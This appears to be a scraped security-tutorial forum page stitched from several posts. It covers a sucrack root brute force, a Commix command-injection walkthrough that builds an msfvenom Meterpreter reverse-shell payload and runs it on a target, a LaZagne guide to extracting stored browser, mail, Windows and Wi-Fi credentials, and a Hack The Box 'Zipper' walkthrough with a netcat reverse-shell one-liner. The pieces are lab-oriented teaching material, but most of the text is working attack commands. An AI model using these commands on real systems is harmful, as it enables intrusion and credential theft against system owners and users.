![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-u5O_BmxNOxg/XHeczogYY1I/AAAAAAAAdFw/IgZy4DXBobMWOX5tL0byI94aJFvHD1H0wCLcBGAs/s1600/16.png?w=687&ssl=1)
After extracting the tar file, we go to “sucrack1-2.3/src” directory as the compiled application is inside this directory and run the command to brute force the password. The application was successfully able to brute force the password for root user. We switched to root user and inside /root directory and we successfully able to get the flag.
./sucrack -u root -w 10 /tmp/dict.txt
1
./sucrack -u root -w 10 /tmp/dict.txt
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-dqqOYEZS7ow/XHecz74J9tI/AAAAAAAAdF0/zJF65cly_oMcQx7DXGB-I58m780g3SQKgCLcBGAs/s1600/17.png?w=687&ssl=1)
In this article, we learn how to use Commix from scratch by using all the basic commands and going all the way to the advanced ones.
Table of Content- Introduction to command injection
- Introduction to Commix
- Working of Commix
- Types of Commix
- Requirements
Introduction to Command Injection
Command injection is also known as shell injection or OS injection. Command injection is one of the top 10 OWASP vulnerability. it’s an attack in which arbitrary commands of a host OS are executed through a vulnerable application. Such an attack is possible when a web application sends unsafe user data to the system shell. This user data can be in any form such as forms, cookies, HTTP headers, etc. Mostly the vulnerability command injection rises due to insufficient input validation. In this attack, the default functionality of the application is extended by an attacker who then executed the system commands with injecting code which makes it different from code injection.
The process of command injection was accidentally discovered in 1997 by a programmer in Norway. This accident led to the deletion of web pages of a site. SQL command injection is the most popular form of command injection. Through this attack, an attacker adds SQL code to the input box in order to gain access. Web applications are compulsory for such attacks as we communicate with the underlying OS via such web applications.
Introduction to Commix
Commix tool is automated for exploiting the vulnerability of command injection in web applications. This tool is written in python which means it is compatible with Linux, windows and mac. It comes pre-installed in Kali Linux, BlackArch and Parrot OS. This tool makes it very easy to find vulnerabilities related to command injection and then further exploit them. The user-friendliness of commix makes it very convenient for everyone, such as web developers, pen testers or security researchers, to use it.
It provides a user with a lot of options such as including the ability to specify parameters that you need to connect to host, enumeration of a victim, accessing files and their modification along with an offline mode. Hence, it’s a pretty useful asset in order to exploit command injection vulnerability.
Working of Commix
Commix has various command options which you can use to find and connect with the target application. Few of the options target URL is via data strings, HTTP headers, cookies and authentication parameters. There are various enumerations options present too. Commix supports two command injection techniques i.e. result-based command injection technique and blind command injection technique. Result based command injection is the once where commands are reflected back to the attacker in the web application. Whereas blind command injection technique is persuading when the response is not reflected on a web application.
Types of Command Injection in Commix
Result based command injection
This type of injection attack will let you deduce the result of the injected command through the result of a web application. It is further divided into two categories :- Classic result based injection : This is the most commonly used type of command injection and is the simplest of all. In this, several common operators are used which either links genuine commands with the injected ones or exclude the initial commands altogether and goes ahead to execute the injected ones only. this further divides into 3 categories i.e. Shellshock, ICMP exfiltration, DNS exfiltration.
- Eval-Based technique : This technique is used where the targeted web application is vulnerable to eval() function. This eval function is used to execute the peculiar code that is defined in the said function during run time.
Blind Command Injection
The way that the data is retrieved after the execution of injected shell command is the main difference between the working of both the types. In the case where web application does not give any result back to the attacker; blind command injection is used. There are further two types of blind command injection :- Time-based Technique : Using this technique will delay the time of the execution of a command that is injected. By checking how much time the application took to revert will able the attacker to determine whether the command is executed successfully or not.
- File-based Technique : If you are not able to determine the result of the web application through its reaction, then this technique comes in handy as it will allow you to write the set of commands that are to be injected in the file accessible to the attacker. Working of this technique is similar to that of result based technique.
Requirements- DVWA
- PentestLab
- Kali Linux
- Commix Tool
Some of the practical we will do in pentestlab for Linux and others we will perform on DVWA for windows. Let’s start with the practical of commix. First, we will use help command to check all the options that we use to exploit target via commix.
commix –h
1
commix –h
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-SxdXFkzHl9k/XHjmpuga18I/AAAAAAAAdLc/78Mta0LsIO4tdHyIcPVnqRMwJieAjwiQwCLcBGAs/s1600/1.png?w=687&ssl=1)
Now let’s try and get a commix session using the URL. For this, use the URL that is vulnerable to the command injection, here, we will pentesterlab’s URL as shown in the image below :
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-7gq2U5XwuWE/XHjmrlzh4lI/AAAAAAAAdL8/1DK1BMgmwzkb7Ub8MxtubCLs-jm9Ak2CwCLcBGAs/s1600/2.png?w=687&ssl=1)
Use the following command to have a commix session through URL :
commix -u <URL>
1
commix -u <URL>
And so, with this command you get a commix(os_shell) as shown in the image below :
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-l8P-m4rPGTs/XHjmsFiLJdI/AAAAAAAAdME/gSMEGiRLspsHfytsK0MKSynfY92PhNtlQCLcBGAs/s1600/3.png?w=687&ssl=1)
Now, let’s use the batch command to have the commix session by default and for this use the following command :
commix -u <URL> --batch
1
commix -u <URL> --batch
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-tePpm61DIKg/XHjmsdhqi_I/AAAAAAAAdMI/FHowWtxmFD89UQUra2QJMapANC6x0j79gCLcBGAs/s1600/4.png?w=687&ssl=1)
Now, as you can see in the above image, we have directly entered the session by default. Now, to get all the basic information about the target use the following command :
commix -u <URL> --all
1
commix -u <URL> --all
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-jYgVXm8jdOI/XHjmsshsTbI/AAAAAAAAdMM/OVvciIgJCoAT3Jbz-haptMHRpnotQ4-DwCLcBGAs/s1600/5.png?w=687&ssl=1)
As shown in the image above, using the above command will give you all the basic information about the target. Next, with the help of the following command we can know the current user of target :
commix –u <URL> --current-user
1
commix –u <URL> --current-user
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-LExvjAtiQrM/XHjmtCwsQKI/AAAAAAAAdMU/7PwBzRTtk7w84JHn7dSE9uKi3iQt_EDuACLcBGAs/s1600/6.png?w=687&ssl=1)
As a result of the above command, you can see in the above that the current user is www-data. Now, we can also find out the hostname by using the following command :
commix –u <URL> --hostname
1
commix –u <URL> --hostname
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-LQjtWIBfKBY/XHjmtPvzWcI/AAAAAAAAdMQ/jPAEb16qaUMqFWg0NnPDW7k64loC6WwogCLcBGAs/s1600/7.png?w=687&ssl=1)
Hence, the host is Debian. Now, the question is how we can determine whether the out target is rooted or not. So, for this, we have the following command :
commix –u <URL> --is-root
1
commix –u <URL> --is-root
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-D67Ga0adQow/XHjmtb70XGI/AAAAAAAAdMY/eZrtlNyxfukNROFDQCrqGaqbXy4ayKzdwCLcBGAs/s1600/8.png?w=687&ssl=1)
This way we found that our target was not rooted. Use the following command to have the information about the system :
commix –u <URL> --sys-info
1
commix –u <URL> --sys-info
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-c2gCZ8GALUM/XHjmt4qL9oI/AAAAAAAAdMc/8xVla15Uz0osi2TxRbPo_kyhIYvU9P-2gCLcBGAs/s1600/9.png?w=687&ssl=1)
Upon executing the above command, we now have the system information. To have information about users, use the following command :
commix –u <URL> --users
1
commix –u <URL> --users
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-1a7ELHlAtwQ/XHjmpqIVCJI/AAAAAAAAdLg/nfCqiXSu1DYPMeoZmm1_e3WBoPM970t-wCLcBGAs/s1600/11.png?w=687&ssl=1)
And this way, we have a list of all the users. Next command is used to know about the admin of the system :
commix –u <URL> --is-admin
1
commix –u <URL> --is-admin
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-LstRi7kSv0E/XHjmpjtvLaI/AAAAAAAAdLY/OFbZihKZn_QrjmBCq2ZFkl55rYZ-oCPeACLcBGAs/s1600/12.png?w=687&ssl=1)
And again you can see that the target is not the admin. Now to read the contents of a desired file, we can use the following command :
commix –u <URL> --file-read=/etc/passwd
1
commix –u <URL> --file-read=/etc/passwd
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-MhhWi2Upy-Q/XHjmqL6GVdI/AAAAAAAAdLk/UbYqEU7jrOsDF3XUvg0cyj-7LcYTZ3OcACLcBGAs/s1600/13.png?w=687&ssl=1)
And the results of the above command are shown in the image above. Our next practicals are performed on DWVA (windows environment)
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Jly4DTeQK-4/XHjmqZSQLSI/AAAAAAAAdLo/YHf51fqoagsNNQXbyfXM0LEbctyYlDgRACLcBGAs/s1600/14.png?w=687&ssl=1)
Captured the cookies of the submitted request using BurpSuite.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-0-Ifcdpq3tQ/XHjmqiVKWFI/AAAAAAAAdLs/5qc663EeBOovEX77zoE29ou6Fx0vIMHUQCLcBGAs/s1600/15.png?w=687&ssl=1)
Now, we use this content of cookie to validate our session using the parameters ‘—cookie’ and ‘—data’. These two parameters are used to send data string in order to exploit the POST method and to validate our session simultaneously. For this, use the following command :
commix –u <URL> --cookie="security=low; PHPSESSID=2r9avccki91i3uq2eqlud8sg08" --data="ip=127.0.0.1&Submit=Submit"
1
commix –u <URL> --cookie="security=low; PHPSESSID=2r9avccki91i3uq2eqlud8sg08" --data="ip=127.0.0.1&Submit=Submit"
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-kh3cI_t-9Ds/XHjmq7aMjSI/AAAAAAAAdLw/SzRZ6NsicNc70HpiMl-5PDy5glA0m_0LACLcBGAs/s1600/16.png?w=687&ssl=1)
With the help of above the command, we will directly have a session as shown in the image above. Now, we will create a malware file using msfvenom. Type the following command to generate your malware :
msfvenom –p python/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1234 –f raw > venom.py
1
msfvenom –p python/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1234 –f raw > venom.py
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-mnVkwl2JGBc/XHjmrEdhCEI/AAAAAAAAdL0/kxqRFNO0g-sFpC1wgNGs6xnprP4gsEUkwCLcBGAs/s1600/18.png?w=687&ssl=1)
Now, we will use the above file and upload it in our target by using the following command :
commix -u <URL> --cookie="PHPSESSID=4029asg19ejeuibfq30d7lc1o8; security=low" --data="ip=127.0.0.1&Submit=Submit" --file-write="/root/venom.py" --file-dest="/tmp/venom.py" --os-cmd="python /tmp/venom.py"
1
commix -u <URL> --cookie="PHPSESSID=4029asg19ejeuibfq30d7lc1o8; security=low" --data="ip=127.0.0.1&Submit=Submit" --file-write="/root/venom.py" --file-dest="/tmp/venom.py" --os-cmd="python /tmp/venom.py"
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ODSpPOO2EJk/XHjmrS78RII/AAAAAAAAdL4/HQeHrPEUBxQ57VSbwr1Pue-LPGmG_mReACLcBGAs/s1600/19.png?w=687&ssl=1)
Now, the above command will upload and run our malware in the target machine. You can use multi/handler to get a session and for this use the following set of commands :
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lhost eth0
set lport 1234
run
1
2
3
4
5
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lhost eth0
set lport 1234
run
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-xpfR0_1-eTk/XHjmr4BE-WI/AAAAAAAAdMA/62siXyvrCykHsqvJVVjslAp0QMSL9-lNACLcBGAs/s1600/20.png?w=687&ssl=1)
And this way, as shown in the image, you will have a meterpreter session. This is how you can use commix, a third party automated tool, to your advantage.
This article will be focused on The LaZagne project and its usage in Post Exploitation.
Table of Content:- Introduction of LaZagne Project
- Syntax and Parameters
- Achieve Meterpreter and Upload LaZagne
- Help Screen
- Mails Argument
- Windows Argument
- Browsers Argument
- Databases Argument
- Wi-Fi Argument
- All Argument
- oN Parameter
- Verbose Mode Parameter
- Quiet Parameter
Introduction of LaZagne Project
The LaZagne is an open source application. It retrieves stored passwords on a System. It directly injects the Python code in the memory without writing anything on disk. This makes it difficult to trace. Usually, when we get a session on a target system, our main aim is to gather credentials. When an attacker attacks a target, there are two ways through it can compromise the target. If the attacker gets the meterpreter session, then all it does is compromise the device security.
But using some scripts and post exploitation modules, the target can compromise every nook of security of the victim. This includes Email Passwords, Social Networking Passwords, SSH Passwords, Banking Information, etc. Usually, this extracting of passwords is a noisy and clumsy task but with LaZagne it is very simple and stealthy.
Without LaZagne, Attackers normally run a bunch of different scripts targeting different applications that are installed on the Target System. But LaZagne does this automatically, it first checks which application is installed on the target system and then it runs that specific script targeting the password for that particular application.
Famous Scripts Included in LaZagne- KeeThief
- mimipy
- mimikatz
- pypykatz
- creddump
- chainbreaker
- pyaes
- pyDes
- secretstorage and many more.
Target Software- Firefox
- Google Chrome
- Opera
- Skype
- Postgresql
- Thunderbird
- Keepass
- CoreFTP
- FileZilla and many more.
Syntax and Parameters
On Linux Systems, LaZagne will be executed as a Python file. But when out target is Windows then we will have to use executable(exe) file. We can download more executables from [To see content please register here] .
![[Image: 0.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-XH-nlyqrnWY/XHVmWhCUUII/AAAAAAAAdFI/wIirAckn_7w4CBeOCO8lh6qHYE5sWI3RQCLcBGAs/s1600/0.png?w=687&ssl=1)
LaZagne has a lot of other parameters and conditions, but here we have used only certain parameters and targets due to technological limitations.
Achieve Meterpreter and Upload LaZagne
Open Kali Linux terminal and type msfconsole in order to load Metasploit framework. Now we need to compromise victim’s machine one to achieve any type of session either meterpreter or shell and to do so we can read our previous article from [To see content please register here] .
After getting meterpreter on the remote system, we need to upload the executable file to the target machine to extract credentials. We will use upload command for this.
upload lazagne.exe .
1
upload lazagne.exe .
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-5KqgEK-MXG4/XHVk2XdSV5I/AAAAAAAAdEA/7wKSviEfnEsVDGfT7ge2JGzxMemLGiE8gCLcBGAs/s1600/1.png?w=687&ssl=1)
Now that we have the LaZagne on the target system, it’s time to enumerate passwords.
Use shell command on the meterpreter shell to get to the command line on the target system.
Help Screen
To get details about the LaZagne we will use the -h parameter. This will print the list of parameters and arguments with the working examples on our screen. This is an informative banner as it not only gives us various methods that we can use but it also tells us how to use those parameters.
lazagne.exe -h
1
lazagne.exe -h
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2SMH0hH8zIc/XHVk3WCXJAI/AAAAAAAAdEM/qmUFAjIJarM557TKRHG8ljTaCLr0A_imwCLcBGAs/s1600/2.png?w=687&ssl=1)
Mails Argument
This argument targets mail clients like Mozilla Thunderbird and Microsoft Outlook. When this argument is selected, a script runs in the background which extracts the Login Credentials that are stored by these email clients. As we can see in the given image that it has successfully extracted the credentials that were stored in the Email Clients.
lazagne.exe mails
1
lazagne.exe mails
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-m8yTkXKtuIs/XHVk4DrHXdI/AAAAAAAAdEQ/rNZc1R2Bh4wbb9WfDwGuddzDwVsc3brmACLcBGAs/s1600/3.png?w=687&ssl=1)
Windows Argument
This argument targets Windows Security on all fronts. When this argument is selected, a script runs in the background which includes autologon, cachedump, credman, hashdump, lsa_secrets, and others. This compromises all of the Windows defenses and gives the attacker the credentials, he is craving for. As we can see in the given image that it has successfully extracted the credentials.
lazagne.exe windows
1
lazagne.exe windows
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-3BdAWPmz9RA/XHVk4V_sZLI/AAAAAAAAdEU/4wdfvlfsa9AWaVXMCHGciZzU9rs7TfOnQCLcBGAs/s1600/4.png?w=687&ssl=1)
Browsers Argument
This argument targets Browsers like Mozilla Firefox, Google Chrome, Opera, UC Browser, Microsoft Edge and much more. When this argument is selected, a script runs in the background which extracts the Login Credentials that are stored inside the browsers. Browsers hide the passwords and show them only after verifying the windows credentials. So, in order to extract the Credentials stored inside the browser, LaZagne attacks the SAM and gets the Windows password and then use it to extract the rest passwords. As we can see in the given image that it has successfully extracted the credentials that were stored in Firefox and Chrome.
lazagne.exe browsers
1
lazagne.exe browsers
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-zw_qYsSXYMw/XHVk4vS-Y8I/AAAAAAAAdEY/hX0qLvqBVdkMT-PkYCr7bfk0PnkApFBpwCLcBGAs/s1600/5.png?w=687&ssl=1)
Databases Argument
This argument targets database clients like Postgresql. When this argument is selected, a script runs in the background which extracts the Login Credentials that are stored by any database client. As we can see in the given image that it has successfully extracted the credentials that were stored in the Postgresql Client.
lazagne.exe databases
1
lazagne.exe databases
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-6mJt-wA4dQI/XHVk44OqLFI/AAAAAAAAdEc/Y0r8ki2wyE4FQa2UdGCwRgnvWhBnWWTogCLcBGAs/s1600/6.png?w=687&ssl=1)
Wi-Fi Argument
This argument targets the stored Wi-Fi Credentials. When this argument is selected, a script runs in the background which extracts the Wi-Fi Credentials. All the Wi-Fi Network that the user had connected and opted for saving the password. As we can see in the given image that it has successfully extracted the Wi-Fi credentials.
lazagne.exe wifi
1
lazagne.exe wifi
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-9jehFiJACdM/XHVk5HpvtzI/AAAAAAAAdEg/EJOsm0VqKM4iDKZYytOpbaOXv3v7CuyqQCLcBGAs/s1600/7.png?w=687&ssl=1)
All Argument
This argument runs all the module in the LaZagne. When this argument is selected, a script runs in the background which extracts all the Login Credentials that are stored on the Target System. As we can see in the given image that it has successfully extracted all the possible credentials from the target.
lazagne.exe all
1
lazagne.exe all
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Ijy1yhlDZ5c/XHVk5cbes4I/AAAAAAAAdEk/ZxQKuQw0UZ4olWjlnuaYCQUjh3wgVEFegCLcBGAs/s1600/8.png?w=687&ssl=1)
oN Parameter
This parameter should be run with some argument otherwise, it will give an error (We are using all argument here). This parameter is optional to run. This parameter not only prints the output on the terminal screen but also creates a file in the Directory it was run and writes it with the output of the Script.
lazagne.exe all -oN
1
lazagne.exe all -oN
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-OZti1k8aybs/XHVk5rXQQXI/AAAAAAAAdEo/ip6bGZsWlaUjlpgTdn6UZsE9V_z4ey_BwCLcBGAs/s1600/9.png?w=687&ssl=1)
Let’s check if the file was created. As we can see in the given image that a file named credentials is created and on opening it using the cat command it shows the same result that we saw on the terminal.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-TWAyr2dtfHE/XHVk2QcKKEI/AAAAAAAAdD8/azH6L5M8YYMBMirwCBT3DNoMdB_s23BYgCLcBGAs/s1600/10.png?w=687&ssl=1)
Verbose Mode Parameter
This parameter should be run with some argument otherwise, it will give an error (We are using all argument here). This parameter is optional to run. In LaZagne by default, we have 2 levels of verbosity. They are Level 0 and Level 1. If no parameter is given Level 0 is selected automatically. But when we give –vv parameter, it increases the verbosity of the extraction. The output also changes. Now LaZagne forcefully runs each and every script in its arsenal and try to extract more and more credentials.
lazagne.exe all -vv
1
lazagne.exe all -vv
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZzgaoYM-mOw/XHVk3cDi6zI/AAAAAAAAdEE/XP4PwielFXE8GpkWDkfd3iepTKBwSyzgACLcBGAs/s1600/11.png?w=687&ssl=1)
Quiet Parameter
This parameter should be run with some argument otherwise, it will give an error (We are using all argument here). This parameter is optional to run. This parameter doesn’t print any output on the terminal screen. Scripts do run in the background but there is no visibility of the passwords extracted so we use the parameter with the oN parameter we discussed earlier as it creates a file in the Directory it was run and writes it with the output of the Script.
lazagne.exe all -quiet -oN
1
lazagne.exe all -quiet -oN
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-2MUsd-Hrqu0/XHVk3UKclMI/AAAAAAAAdEI/nJdcgMcsDCAQuAtB17KM6ujl48fD9sfvwCLcBGAs/s1600/12.png?w=687&ssl=1)
Today we are going to solve another CTF challenge “Zipper”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Hard
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Zipper is 10.10.10.108
Penetrating Methodology- Network scanning (Nmap)
- Surfing HTTPS service port (80)
- Directory enumeration using gobuster
- Logging in as a Guest User
- Enumerating for Login Credentials
- Logging in through zabbix–cli
- Giving permissions to access GUI
- Getting a reverse shell using zabbix exploit
- Retrieving User flag
- Modify the Environment PATH to run systemctl
- Snagging the Root Flag
Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -A 10.10.10.108
1
nmap -A 10.10.10.108
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-h1dRcr3qwwc/XHT3odnqKII/AAAAAAAAdB8/kUML5jWGITsO5Fm-ierReiQG3oKWfnidwCLcBGAs/s1600/1.png?w=687&ssl=1)
The Nmap scan shows us that there are 2 ports open: 22(SSH), 80(HTTP)
As port is 80 is running HTTP service, we access the web service using the web browser.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-inb4msscgns/XHT3qsuuvgI/AAAAAAAAdCc/Rfje2TuC9r4jma87PQO2BoTvtUFneJ92gCLcBGAs/s1600/2.png?w=687&ssl=1)
Now we run gobuster to enumerate the directories of the web service and find a directory called /zabbix.
gobuster -s '200,204,301,302,307,403,500' -e -t 20 -u [To see content please register here] -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
1
gobuster -s '200,204,301,302,307,403,500' -e -t 20 -u [To see content please register here] -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-WJHvD5PZF1U/XHT3swp21eI/AAAAAAAAdC4/UzUipzc6uPoBp-GJepOl9RVOGWH02tzQgCLcBGAs/s1600/3.png?w=687&ssl=1)
We open the “zabbix” directory and find a login page for Zabbix web portal.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ojm6Ia07ObU/XHT3tozQ6UI/AAAAAAAAdDI/h_XczZZH4NYMvSrv8mEki7p0FS5aYZUrgCLcBGAs/s1600/4.png?w=687&ssl=1)
Now we login as guest and are able to access the dashboard.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-1HYITUKdQYU/XHT3ufcza5I/AAAAAAAAdDM/6hMuwFnYlQc7B820jVSQ3X8pOYUyzIXtwCLcBGAs/s1600/5.png?w=687&ssl=1)
Enumerating the web application, inside “Latest data” in monitoring data we get a hint for the username as “Zapper’s Backup script”.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ioDStoh9_ik/XHT3uRx_QgI/AAAAAAAAdDQ/6NpglfpsfnkxPoZGcX2SYKg_LtTgOxwewCLcBGAs/s1600/6.png?w=687&ssl=1)
Now we try to login again as user “zapper”. We try to login using the username and password the same i.e. “zapper: zapper”.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-qoLOqYLP4mw/XHT3uoPDA5I/AAAAAAAAdDU/qr0iYqAbzNUYVE-iDqDyFHmPo26GI0_dQCLcBGAs/s1600/7.png?w=687&ssl=1)
When we try to login, we get an error stating the “GUI access disabled”.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Q9oW2UnFMb8/XHT3vD__vtI/AAAAAAAAdDY/ci2SaSIDtsY1eAhpCEMEJHR1-g4Hzhk5gCLcBGAs/s1600/8.png?w=687&ssl=1)
As we do not have GUI access, we use zabbix-cli to connect the zabbix api and we check the available users. Now we can either create a user with GUI access or add an existing user to a group with GUI. In this case, we first create a new group called hack with GUI access enabled.
zabbix-cli
show_users
create_usergroup
1
2
3
zabbix-cli
show_users
create_usergroup
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-hFWld3JZ3FY/XHT3ojCG77I/AAAAAAAAdCE/IRNAJSV3SrsZJOsqC3q-Fn5N36GXPqiPQCLcBGAs/s1600/10.png?w=687&ssl=1)
Now add user “zapper” to the new group we created and we remove the user “zapper” from the previous group called “No access to the frontend”.
add_user_to_usergroup
remove_user_from_usergroup
show_users
1
2
3
add_user_to_usergroup
remove_user_from_usergroup
show_users
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-zIcCpFZLybQ/XHT3oon_niI/AAAAAAAAdCA/CPkBG38Wrboz97s44TsOm8PJZyVkf_D2QCLcBGAs/s1600/11.png?w=687&ssl=1)
Now we are successfully able to access the web portal as user “zapper”.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5lxet19C_Fk/XHT3pB7XXEI/AAAAAAAAdCI/8RoycDUMBYsNEZzlO7kuYXyc8Iy1cVSXACLcBGAs/s1600/15.png?w=687&ssl=1)
Searching for an exploit for Zabbix application, we find an exploit [To see content please register here] . It requires username, password, and hostid to run the exploit successfully. As we have access to the dashboard, we can find the hostid of a container.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-H1oXJPaZuhk/XHT3pWgbiiI/AAAAAAAAdCM/EX3JIiNl5BEhV2riayfhZkkPrQmrj3k1ACLcBGAs/s1600/16.png?w=687&ssl=1)
Now we edit the exploit according to the target application.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/--BG_lHNCq6E/XHT3pwYP59I/AAAAAAAAdCQ/oVHUVPJ6g38EpCtTpKIn-v0XVA_q7YdGQCLcBGAs/s1600/17.png?w=687&ssl=1)
We run the exploit and are able to get a shell. Now to get a reverse shell we setup our listener using netcat and run the bash one liner to get a reverse shell.
python exploit.py
whoami
rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 > /tmp/f
1
2
3
python exploit.py
whoami
rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 > /tmp/f
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-FUP5GFIhVDY/XHT3qPgAJ8I/AAAAAAAAdCU/NdLJcd1lMWccMxnoB53k9r4vCocRz27WACLcBGAs/s1600/18.png?w=687&ssl=1)
Now when we check our listener, we find that we are successfully able to get a reverse shell. When we try to spawn a TTY shell using python, we find that the system doesn’t contain either python or python3. So we use start to bash interactive shell.
python -c "import pty;pty.spawn('/bin/bash')"
which python
which python3
bash -i
1
2
3
4
python -c "import pty;pty.spawn('/bin/bash')"
which python
which python3
bash -i
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-afrrMMPYO-s/XHT3qUCRgfI/AAAAAAAAdCY/VM8nqIeJ-Lo5F18NAM85JDzbua4cLM5QQCLcBGAs/s1600/19.png?w=687&ssl=1)
Enumerating the system, we find that we are inside a Docker container. We are able to find any solution to escape the container. If we take a look at the zabbix documentation page, we find there is an option called “execute_on”. To execute inside the container, we have to set this option as “0” and to execute on the server we have the to set this option as “1”. We edit the exploit and add these options in our exploit to get the reverse shell of the server.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--Y4LLvl-RXs/XHT3rI1BrqI/AAAAAAAAdCg/nhRFmygSWvsWLcw61htxTDZJgBCMJIdIQCLcBGAs/s1600/21.png?w=687&ssl=1)
We now run the exploit and use bash one liner to get a reverse shell.
python exploit.py
whoami
rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 > /tmp/f
1
2
3
python exploit.py
whoami
rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 > /tmp/f
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-mOOk3qu4BiI/XHT3rIYj4vI/AAAAAAAAdCk/yaGgoERhTps7eKGzLxXFBjXJLCkzuhjEACLcBGAs/s1600/22.png?w=687&ssl=1)
We setup the listener and get a reverse shell on the server.
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-CcQNrtJuSdA/XHT3ruX4fGI/AAAAAAAAdCo/OAWyfArTa9YVNyOQ3xiq0SlWfCSM5w3UwCLcBGAs/s1600/25.png?w=687&ssl=1)
We change the directory to “/home/zapper” and find a file called “user.txt”. We try to open the file and find that we do not have read permissions.
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Ax9P-A5eRLA/XHT3r_MRmxI/AAAAAAAAdCw/wZaxXvY1NBMtWdSS1bw7Zo0gw4HRIPoOQCLcBGAs/s1600/26.png?w=687&ssl=1)
We now go to the “utils” directory and find a file called “backup.sh”. We open the file called find the password for user “zapper”.
![[Image: 27.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-dNKBuLquHZA/XHT3r0zn9zI/AAAAAAAAdCs/kwlJDHxohh0iKY2H6KApfzgh_oU-fwe9QCLcBGAs/s1600/27.png?w=687&ssl=1)
We switch user to zapper and use the password we find inside the “backup.sh” file. After we switch user, we again try to open the “user.txt” file and find the first flag.
